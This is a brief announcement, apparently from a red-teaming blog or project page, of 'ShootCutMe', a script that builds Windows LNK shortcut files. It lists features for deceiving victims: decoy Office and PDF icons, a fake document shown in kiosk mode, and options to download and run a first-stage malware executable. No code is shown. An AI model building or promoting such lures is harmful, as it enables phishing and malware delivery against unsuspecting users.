LNK files are used on the most modern and advanced APT attacks.

LNK files are windows shortcut files. Using a shortcut file you can launch your own commands.

I am happy to introduce ShootCutMe a script to create LNK files.

Options Available For Version 0.1:

• Fake pdf (Will open a fake Google doc on the browser in kiosk mode to lure the victim and remove suspicions)

• You can choose between different icons (word, Adobe, Excel, PowerPoint, Edge...)

• You can choose what you want to accomplish with the LNK file: download an executable, download and load an executable, execute an executable) Using the LNK file you can drop your first-stage malware and complete your red teaming engagement successfully.
